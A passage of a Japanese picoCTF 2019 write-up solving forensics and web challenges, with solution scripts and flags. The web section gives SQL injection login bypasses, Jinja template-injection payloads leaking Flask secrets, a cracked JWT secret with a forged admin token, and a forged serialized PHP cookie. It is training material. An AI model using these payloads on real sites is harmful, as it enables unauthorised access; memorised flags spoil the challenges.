  5. 追跡→UDPストリームを選択する。

picoCTF{StaT31355_636f6e6e}

WhitePages - Points: 250

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

バイナリエディタで見てみると、\xe2\x80\x83\x20 の2つのパターンが見えます。

  • \x20 は、アスキーコードの半角スペースを表しています。
  • \xe2\x80\x83 についてググってみると、「Unicode Character 'EM SPACE' (U+2003)」だと分かりました。

\x20 を 1 、\xe2\x80\x83 を 0 に変換して、文字列変換すると、メッセージが出てきました。

        picoCTF

        SEE PUBLIC RECORDS & BACKGROUND REPORT
        5000 Forbes Ave, Pittsburgh, PA 15213
        picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
        

picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}

c0rrupt - Points: 250

We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.

バイナリエディタで開いて、以下の項目を修正します。

00000000  89 65 4e 34 0d 0a b0 aa 00 00 00 0d 43 22 44 52  |.eN4..°ª....C"DR|
↓
00000000  89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000050  52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  |R$ðªªÿ¥«DETx^ì½?|
↓
00000050  52 24 f0 aa aa ff a5 49 44 41 54 78 5e ec bd 3f  |R$ðªªÿ¥IDATx^ì½?|

修正したPNGファイルを開くと、フラグが書かれていました。

picoCTF{c0rrupt10n_1847995}

like1000 - Points: 250

This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.

1000.tar というファイルが渡されました。展開すると、999.tarが出てきました。 どうやら、1000回、tarでアーカイブ化されているようです。 すべて展開するためのスクリプトを作成しました。

#!/bin/bash
for ((i = 1000; i >= 1; i--))
do
    tar xf $i.tar
done

実行すると、flag.pngが出てきました。

$ chmod +x solve.sh
$ ./solve.sh
$ ls -la | grep -v tar
total 5016056
drwxr-xr-x 2 root root    28672 Oct  1 16:59 .
drwxr-xr-x 3 root root     4096 Oct  1 16:56 ..
-rw-r--r-- 1 1000 1000       27 Aug  5 01:29 filler.txt
-rwxrw-rw- 1 1000 1000    13114 Aug  5 01:57 flag.png
-rwxr-xr-x 1 root root       68 Oct  1 16:58 solve.sh

flag.png を開くとフラグが書かれていました。

picoCTF{l0t5_0f_TAR5}

m00nwalk - Points: 250

Decode this message from the moon. You can also find the file in /problems/m00nwalk_3_03dab5f4d1deab675e80ee603fb02236.

アマチュア無線の画像通信で使用されるSSTV(Slow Scan TV)と呼ばれる形式の音声ファイルのようです。 ルナ3号(ソビエト連邦無人月探査機)もSSTVを使用して画像の送信を行っていたようです。

以下のツールを使って、音声を画像にデコードしました。

users.belgacom.net

RX optionを Scottie 1 にして録音すると、以下のような画像が出力されました。
※ ノイズが少なくはっきりとした音で録音できる環境でないと、画質が荒くなってしまうので注意してください。

f:id:tsalvia:20191008001932p:plain

picoCTF{beep_boop_im_in_space}

Investigative Reversing 0 - Points: 300

We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0_0_ebc669df876196bdc09a2f54fd5fffed on the shell server.

画像ファイルの末尾にフラグのような文字列が見えます。 もう一つのファイルは、ELFファイルとなっていました。 Ghidraで開くと、以下のようになっていました。

f:id:tsalvia:20191008021352p:plain

以下の手順で、画像ファイルに追記しているようです。

  1. flag.txtからデータを読み出す。
  2. 0~5バイト目は、そのまま出力する。
  3. 6~14バイト目は、5を足す。
  4. 15バイト目は、-3を足す。
  5. 16~25バイト目は、そのまま出力する。

画像ファイルの末尾のデータを上記の逆の手順で再計算すると、フラグとなります。

picoCTF{f0und_1t_fb69f6c2}

m00nwalk2 - Points: 300

Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_0_c513cbf9ae6c76876372b8e29826e77b.

SSTVと呼ばれる形式の音声ファイルのようです。 今回もRX-SSTVを使ってデコードを行いました。

users.belgacom.net

message.wav をデコードすると、以下のようになりました。 前回のm00nwalkと同じ画像のようです。

f:id:tsalvia:20191008010331p:plain

次に clue1.wav をRX-SSTVを使ってデコードすると、以下のようになりました。

f:id:tsalvia:20191008005354p:plain

この画像には、パスワード( hidden_stegosaurus )が書かれていました。 message.wav には、ステガノグラフィで別のデータが隠されているようです。

他にも、 clue2.wavclue3.wav もデコードしてみましたが、何を意味しているのか分かりませんでした。 f:id:tsalvia:20191008005553p:plain f:id:tsalvia:20191008005733p:plain

パスワードが hidden_stegosaurus であると分かったので、試しにsteghideでデータの抽出を行ってみました。 すると、フラグが取得できました。

$ steghide extract -sf message.wav -p hidden_stegosaurus -xf output.txt
wrote extracted data to "output.txt".
$ cat output.txt 
picoCTF{the_answer_lies_hidden_in_plain_sight}

picoCTF{the_answer_lies_hidden_in_plain_sight}

shark on wire 2 - Points: 300

We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.

Wiresharkでパケットを眺めていると、22番ポートにstartとendの文字列が確認できました。 udp.port == 22 でフィルタをかけて観察してみると、各パケットで変化があるのは、送信元ポート番号とチェックサムだけだと分かりました。

f:id:tsalvia:20191010025953p:plain

送信元ポート番号を見ていると、startのあった次のパケットの送信元ポート番号が 5112 となっており、5000を引くと pアスキーコードである 112 になっていることに気付きました。 あとは、各パケットの送信元ポート番号を集めて、5000を引いていくとフラグとなりました。

picoCTF{p1LLf3r3d_data_v1a_st3g0}

Investigative Reversing 1 - Points: 350

We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-1_1_a3bd3a15990df2554310c7c252e66385 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008025451p:plain

flag.txt のデータを3つのPNGファイルの末尾に出力するような処理のようです。 適当にフラグを作成して、 mystery を実行すると以下のような3つのファイルが生成されました。

$ echo -n "picoCTF{123456789abcdef}XXXXX" > flag.txt
$ ./mystery
$ hexdump -C mystery.png 
00000000  43 46 7b 31 32 38 39 61  62 63 64 65 66 7d 58 58  |CF{1289abcdef}XX|
00000010
$ hexdump -C mystery2.png 
00000000  85 73                                             |.s|
00000002
$ hexdump -C mystery3.png 
00000000  69 63 54 33 34 35 36 37                           |icT34567|
00000008

あとは、出力された順番を参考に、元の画像ファイルの末尾の文字列を並び替えると、以下のようになります。

picoCTF{An0tha_1_54503d8}

Investigative Reversing 2 - Points: 350

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-2_3_4ed4a3a36b09cc193abfcb0b209937bc on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008084942p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

with open("encoded.bmp", "rb") as f:
    f.seek(2000)

    for _ in range(50):
        b = ""
        for _ in range(8):
            data = f.read(1)
            b += str(int.from_bytes(data, 'big') & 1)
        c = int(b[::-1], 2) + 5
        print(chr(c), end="")
    print()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{n3xt_0n3000000000000000000000000036c2583d}

picoCTF{n3xt_0n3000000000000000000000000036c2583d}

WebNet0 - Points: 350

We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet0_0_363c0e92cf19b68e5b5c14efb37ed786.

pcapファイルと鍵が渡されました。pcapを開いてみるとTLSで暗号化されています。 WiresharkRSA鍵を設定し、更新するとHTTPの通信が確認できました。 パケットの中身を確認すると、フラグが書かれていました。

picoCTF{nongshim.shrimp.crackers}

pastaAAA - Points: 350

This pasta is up to no good. There MUST be something behind it.

「青い空を見上げればいつもそこに白い猫」で「ステガノグラフィー解析」を選択し、「赤色 ビット1 抽出」にすると、フラグがでてきます。
$1l がややこしいので注意する。

picoCTF{pa$ta_1s_lyf3}

Investigative Reversing 3 - Points: 400

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3_2_9b697a21646b826192c40efeb643ff61 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008092935p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

with open("encoded.bmp", "rb") as f:
    f.seek(0x2d3)

    for j in range(100):
        if (j & 1) == 0:
            b = ""
            for k in range(8):
                data = f.read(1)
                b += str(int.from_bytes(data, 'big') & 1)
            c = int(b[::-1], 2)
            print(chr(c), end="")
        else:
            f.read(1)
    print()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}

picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}

Investigative Reversing 4 - Points: 400

We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4_4_065969419be9af8229e29d22453a06d0 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191009071350p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

def encodeDataInFile(encoded_file):
    flag = ""
    with open(encoded_file, "rb") as f:
        f.seek(0x7e3)
        for j in range(0x32):
            if (j % 5) == 0:
                b = ""
                for k in range(8):
                    data = f.read(1)
                    b += str(int.from_bytes(data, 'big') & 1)
                c = int(b[::-1], 2)
                flag += chr(c)
            else:
                f.read(1)
    return flag

def encodeAll():
    for i in range(5, 0, -1):
        file_name = "Item0" + str(i) + "_cp.bmp"
        flag = encodeDataInFile(file_name)
        print(flag, end="")
    print()

def main():
    encodeAll()

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}

picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}

B1g_Mac - Points: 500

Here's a zip file. You can also find the file in /problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97a.

main.exe をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191009184015p:plain

ファイルの時刻情報(LastWriteTime)の下位16bitにフラグを隠していることが分かりました。 コマンドライン引数に指定したファイルの時刻情報から文字を抽出するプログラムを作成しました。

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    HANDLE hFile;
    char *lpFileName = argv[1]; // "./test/Item01 - Copy.bmp";
    FILETIME creationTime;
    FILETIME lastAccessTime;
    FILETIME lastWriteTime;
    char ch[2];

    hFile = CreateFile(lpFileName,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFile failed\n");
        return -1;
    }

    if (!GetFileTime(hFile, &creationTime, &lastAccessTime, &lastWriteTime)) {
        printf("GetFileTime failed\n");
        CloseHandle(hFile);
        return -1;
    }
        CloseHandle(hFile);

    ch[0] = (lastWriteTime.dwLowDateTime & 0xff00) >> 8;
    ch[1] = lastWriteTime.dwLowDateTime & 0xff;
    printf("%c%c", ch[0], ch[1]);

    return 0;
}

test*Copy.bmp の時刻にフラグが埋め込まれていました。 以下のコマンドを実行すると、フラグが出力されます。
※ 注意点として、Windowsデフォルトの機能でzipを展開すると、なぜかタイムスタンプが変わってしまうようです。7-Zipで展開する必要がありました。

PS> gcc .\solve.c -o .\solve
PS> Get-ChildItem .\test\*Copy.bmp -Name | ForEach-Object {.\solve.exe test\$_} 
picoCTF{M4cTim35!}

picoCTF{M4cTim35!}

Web Exploitation

Insp3ct0r - Points: 50

Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/61676/ (link) or http://2019shell1.picoctf.com:61676

問題文のリンクを開いて、html、css、jsのコメントを確認すると、フラグが書いてありました。

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}

dont-use-client-side - Points: 100

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/47289/ (link) or http://2019shell1.picoctf.com:47289

https://2019shell1.picoctf.com/problem/47289/ にアクセスし、javascriptを確認すると、4文字ずつフラグを分割してチェックしている関数がありました。 それぞれを並び替えると、フラグになりました。

function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
        if (checkpass.substring(split * 6, split * 7) == 'e22d') {
            if (checkpass.substring(split, split * 2) == 'CTF{') {
                if (checkpass.substring(split * 4, split * 5) == 'ts_p') {
                    if (checkpass.substring(split * 3, split * 4) == 'lien') {
                        if (checkpass.substring(split * 5, split * 6) == 'lz_c') {
                            if (checkpass.substring(split * 2, split * 3) == 'no_c') {
                                if (checkpass.substring(split * 7, split * 8) == 'c}') {
                                    alert("Password Verified")
                                }
                            }
                        }

                    }
                }
            }
        }
    }
    else {
        alert("Incorrect password");
    }

}

picoCTF{no_clients_plz_ce22dc}

logon - Points: 100

The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/49907/ (link) or http://2019shell1.picoctf.com:49907

EditThisCookieというChrome拡張を使って、Cookieを見てみました。

chrome.google.com

adminという項目があり、Falseになっていました。これをTrueに変換するとフラグが表示されました。

picoCTF{th3_c0nsp1r4cy_l1v3s_9e21365b}

where are the robots - Points: 100

Can you find the robots? https://2019shell1.picoctf.com/problem/47235/ (link) or http://2019shell1.picoctf.com:47235

https://2019shell1.picoctf.com/problem/47235/robots.txt にアクセスすると、以下のように書かれていました。

User-agent: *
Disallow: /54e98.html

https://2019shell1.picoctf.com/problem/47235/54e98.html にアクセスすると、フラグが表示されました。

Guess you found the robots
picoCTF{ca1cu1at1ng_Mach1n3s_54e98}

picoCTF{ca1cu1at1ng_Mach1n3s_54e98}

Client-side-again - Points: 200

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/21886/ (link) or http://2019shell1.picoctf.com:21886

F12を押してスクリプトタグの中身を確認すると、dont-use-client-sideに似たスクリプトが出てきました。 同様にフラグを分割してチェックしている関数があるようです。

var _0x5a46 = ['9f266}', '_again_1', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function (_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822['push'](_0x4bd822['shift']());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = _0x5a46[_0x2d8f05];
    return _0x4d74cb;
};
function verify() {
    checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
    split = 0x4;
    if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
        if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
            if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
                if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
                    if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
                        if (checkpass['substring'](0x6, 0xb) == 'F{not') {
                            if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                                    alert(_0x4b5b('0x8'));
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert(_0x4b5b('0x9'));
    }
}

このままだと読みづらいので、以下のようなスクリプトを用意しました。

split = 0x4
console.log('%d, %d:\t%s', 0x0, split * 0x2, _0x4b5b('0x3'))
console.log('%d, %d:\t%s', 0x7, 0x9, '{n')
console.log('%d, %d:\t%s', split * 0x2, split * 0x2 * 0x2, _0x4b5b('0x4'))
console.log('%d, %d:\t%s', 0x3, 0x6, 'oCT')
console.log('%d, %d:\t%s', split * 0x3 * 0x2, split * 0x4 * 0x2, _0x4b5b('0x5'))
console.log('%d, %d:\t%s', 0x6, 0xb, 'F{not')
console.log('%d, %d:\t%s', split * 0x2 * 0x2, split * 0x3 * 0x2, _0x4b5b('0x6'))
console.log('%d, %d:\t%s', 0xc, 0x10, _0x4b5b('0x7'))

Chrome Developer ToolsのConsoleに上記のスクリプトを入力すると、分割されたフラグの断片を確認することができます。

f:id:tsalvia:20190929230114p:plain

あとは、出力結果を基に並び替えるだけです。

picoCTF{not_this_again_19f266}

Open-to-admins - Points: 200

This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/12276/ (link) or http://2019shell1.picoctf.com:12276

Cookieに以下の2つを追加して「Flag」ボタンを押すと、フラグが確認できます。

  • admin、True
  • time、1400

Cookieの追加は、Chrome拡張機能のEditThisCookieを使いました。

chrome.google.com

picoCTF{0p3n_t0_adm1n5_dcb566bb}

picobrowser - Points: 200

This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/45071/ (link) or http://2019shell1.picoctf.com:45071

Chrome拡張機能のUser-Agent Switcher for Chrome で UserAgentを picobrowser に変更すると、フラグが表示されました。

chrome.google.com

picoCTF{p1c0_s3cr3t_ag3nt_b3785d03}

Irish-Name-Repo 1 - Points: 300

There is a website running at https://2019shell1.picoctf.com/problem/21877/ (link) or http://2019shell1.picoctf.com:21877. Do you think you can log us in? Try to see if you can login!

Admin Login ページがあります。ユーザ名に ' or 'A' = 'A' -- と入力して、「Login」ボタンを押すとフラグが出力されました。

picoCTF{s0m3_SQL_6b96db35}

Irish-Name-Repo 2 - Points: 350

There is a website running at https://2019shell1.picoctf.com/problem/41025/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:41025

Admin Login ページがあります。ユーザ名に admin' -- と入力して、「Login」ボタンを押すとフラグが出力されました。

picoCTF{m0R3_SQL_plz_83dad972}

Empire1 - Points: 400

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/4155/ Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155

適当にユーザを作成してログインしてみると、色々なユーザのリストが確認できました。 ユーザ名と同じパスワードで、別のユーザにログインしてみると、フラグが書かれていました。
※ 出題者が想定していた解き方ではない気がします。

picoCTF{wh00t_it_a_sql_injectd75ebff4}

Irish-Name-Repo 3 - Points: 400

There is a secure website running at https://2019shell1.picoctf.com/problem/12271/ (link) or http://2019shell1.picoctf.com:12271. Try to see if you can login as admin!

Admin Login ページがあります。F12を押してhtmlファイルを見てみると、以下のようなデバッグ用のタグが埋め込まれていました。

<input type="hidden" name="debug" value="0">

valueを1に変更して、パスワードに「abcdefghijklmnopqrstuvwxyz」と入力すると、以下のように出力されました。

password: abcdefghijklmnopqrstuvwxyz
SQL query: SELECT * FROM admin where password = 'nopqrstuvwxyzabcdefghijklm'

Login failed.

入力した値にROT13で文字をずらしているようです。 ' or 'a' = ' となるように、 ' be 'n' = 'n と入力するとフラグが出力されました。

picoCTF{3v3n_m0r3_SQL_ef7eac2f}

JaWT Scratchpad - Points: 400

Check the admin scratchpad! https://2019shell1.picoctf.com/problem/49900/ or http://2019shell1.picoctf.com:49900

問題文のサイトに接続すると、ログインを求められます。 適当に「a」というユーザでログインしてみました。 Cookieを確認すると、jwt という項目に eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug と設定されていました。 また、Webサイトの一番下にJohnTheRipperへのリンクが貼られていました。

以下のリンクを参考にJohnTheRipperを使って、JWTのsecretキーを求めました。

github.com

まずは、JohnTheRipperが扱える形式に変換します。

$ wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
$ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug > converted-jwt.txt

rockyou.txtを辞書にして辞書攻撃を行うと、1単語ヒットしました。

PS> john --wordlist=rockyou.txt .\converted-jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepico        (?)
1g 0:00:00:00 DONE (2019-10-07 09:22) 1.251g/s 9268Kp/s 9268Kc/s 9268KC/s iluve$..ilovejesus71
Use the "--show" option to display all of the cracked passwords reliably
Session completed

userを admin に変更し、secretに ilovepico を指定してエンコードします。 以下のサイトを使ってエンコードしました。

jwt.io

HEADER:
    {
      "typ": "JWT",
      "alg": "HS256"
    }

PAYLOAD:
    {
      "user": "admin"
    }

VERIFY SIGNATURE:
    HMACSHA256(
      base64UrlEncode(header) + "." +
      base64UrlEncode(payload),
      ilovepico
    )

エンコードすると以下のようになります。これをCookieに指定して再表示するとフラグが表示されます。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s

picoCTF{jawt_was_just_what_you_thought_1ea6044f378ef6e9d40d57a40f8b70f1}

Java Script Kiddie - Points: 400

The image link appears broken... https://2019shell1.picoctf.com/problem/57738 or http://2019shell1.picoctf.com:57738

JavaScriptのコードを見ると、16文字のキーを使って16文字ずつ変換している処理が確認できます。 出力されるのは、PNGの画像なのでPNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。

ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。

0438892208991464

上記のキーを指定すると、QRコードが表示されます。読み取るとフラグが出力されました。

picoCTF{905765bf9ae368ad98261c10914d894e}

Empire2 - Points: 450

Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: https://2019shell1.picoctf.com/problem/10833/ (link), can you help us find it? or http://2019shell1.picoctf.com:10833

以下のように入力すると、Flaskの設定情報が出てきました。 ​

{{ config.items() }}

dict_items([
    ('ENV', 'production'),
    ('DEBUG', False),
    ('TESTING', False),
    ('PROPAGATE_EXCEPTIONS', None),
    ('PRESERVE_CONTEXT_ON_EXCEPTION', None),
    ('SECRET_KEY', 'picoCTF{your_flag_is_in_another_castle12345678}'),
    ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),
    ('USE_X_SENDFILE', False),
    ('SERVER_NAME', None),
    ('APPLICATION_ROOT', '/'),
    ('SESSION_COOKIE_NAME', 'session'),
    ('SESSION_COOKIE_DOMAIN', False),
    ('SESSION_COOKIE_PATH', None),
    ('SESSION_COOKIE_HTTPONLY', True),
    ('SESSION_COOKIE_SECURE', False),
    ('SESSION_COOKIE_SAMESITE', None),
    ('SESSION_REFRESH_EACH_REQUEST', True),
    ('MAX_CONTENT_LENGTH', None),
    ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
    ('TRAP_BAD_REQUEST_ERRORS', None),
    ('TRAP_HTTP_EXCEPTIONS', False),
    ('EXPLAIN_TEMPLATE_LOADING', False),
    ('PREFERRED_URL_SCHEME', 'http'),
    ('JSON_AS_ASCII', True),
    ('JSON_SORT_KEYS', True),
    ('JSONIFY_PRETTYPRINT_REGULAR', False),
    ('JSONIFY_MIMETYPE', 'application/json'),
    ('TEMPLATES_AUTO_RELOAD', None),
    ('MAX_COOKIE_SIZE', 4093),
    ('SQLALCHEMY_DATABASE_URI', 'sqlite://'),
    ('SQLALCHEMY_TRACK_MODIFICATIONS', False),
    ('SQLALCHEMY_BINDS', None),
    ('SQLALCHEMY_NATIVE_UNICODE', None),
    ('SQLALCHEMY_ECHO', False),
    ('SQLALCHEMY_RECORD_QUERIES', None),
    ('SQLALCHEMY_POOL_SIZE', None),
    ('SQLALCHEMY_POOL_TIMEOUT', None),
    ('SQLALCHEMY_POOL_RECYCLE', None),
    ('SQLALCHEMY_MAX_OVERFLOW', None),
    ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
    ('SQLALCHEMY_ENGINE_OPTIONS', {}),
    ('BOOTSTRAP_USE_MINIFIED', True),
    ('BOOTSTRAP_CDN_FORCE_SSL', False),
    ('BOOTSTRAP_QUERYSTRING_REVVING', True),
    ('BOOTSTRAP_SERVE_LOCAL', False),
    ('BOOTSTRAP_LOCAL_SUBDOMAIN', None)
])

​ SECRET_KEYが判明したので、sessionのデコードが可能です。 以下のリンクの記事を参考にデコードしました。

qiita.com

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer
<200b>
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )
<200b>
class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)
<200b>
    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)
<200b>
<200b>
if __name__ == '__main__':
    secret_key = 'picoCTF{your_flag_is_in_another_castle12345678}'
    cookie = '.eJwlz01OwzAQQOG7eN3F2GOP7W6ROAF7y54fiAqkcpIFqnp3gjjAJ733cM2mbh_uus9DL64t4q6OjSpSZUrFEzLEPtDUIufgSzT1ElNBygNj9WQ8olUIlqqXhBBjUmBQHFJGLmJAIgMiI2kcHSQkgY6WFIEQTZgTDA51ZALiKuQujrdpbV9v-v3Xw4YhpBBhmFcB7EIhEGfOXXJF1FISSD6d9Hlrm_LU_YT3hdeXt9fHsm-tty9tP-sxm332d0NJ1Et_nubYdP6Po3v-Ao5GUc8.XZ6M9w.qam0y2OrwZKekMzQmvpFQ0b1OyY'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))

実行して、デコードするとフラグが確認できました。 ​

$ python solve.py 
{'_id': 'cf69369c658163c04ab3fef4c72184fe1d458367b34916fcb4f902f591d530445e0c0e3bd8b78df06ddb04c36e4ba0d25d0a3f5e30633fdcc50bc29b7606c9d6', 'dark_secret': 'picoCTF{its_a_me_your_flagf3d56a8a}', '_fresh': True, 'user_id': '3', 'csrf_token': 'ccf3225240bf1ed03ad6226c7c7ad7933e8850d7'}

picoCTF{its_a_me_your_flagf3d56a8a}

Java Script Kiddie 2 - Points: 450

The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/4157 or http://2019shell1.picoctf.com:4157

JavaScriptのコードを見ると、32文字のキーを指定できるようになっていました。 ただし、よく見ると偶数番目のキー(16文字)しか使用されていません。 ここまで分かれば、前回と同様なので、PNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。

ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。

50503000306020104050306020203030

QRコードを読み取ると、フラグが出てきました。

picoCTF{f00efa6fa68b2b71aa40c7121bb3d41b}

cereal hacker 1 - Points: 450

Login as admin. https://2019shell1.picoctf.com/problem/21885/ or http://2019shell1.picoctf.com:21885

ユーザ名、パスワード共に guest を指定してログインすると、以下のページに誘導されました。

https://2019shell1.picoctf.com/problem/21885/index.php?file=regular_user

Cookieを確認すると、user_info に以下の文字列が格納されていました。

TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D

Base64 デコード すると以下のようになります。PHPのserialize結果がBase64エンコードされていたようです。

O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}

ユーザ名に admin パスワードに ' or 'A'='A と指定して、SQLインジェクションを試してみました。

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";}
↓ Base64 エンコード
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJ0EnPSdBIjt9

Base64エンコード結果をCookieuser_info に格納して、以下にアクセスするとフラグが表示されました。

https://2019shell1.picoctf.com/problem/21885/index.php?file=login

Welcome to the admin page!
Flag: picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}

picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}

Empire3 - Points: 500

Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/49865/ (link) or http://2019shell1.picoctf.com:49865

以下のように入力すると、Flaskの設定情報が出てきました。 ​

{{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
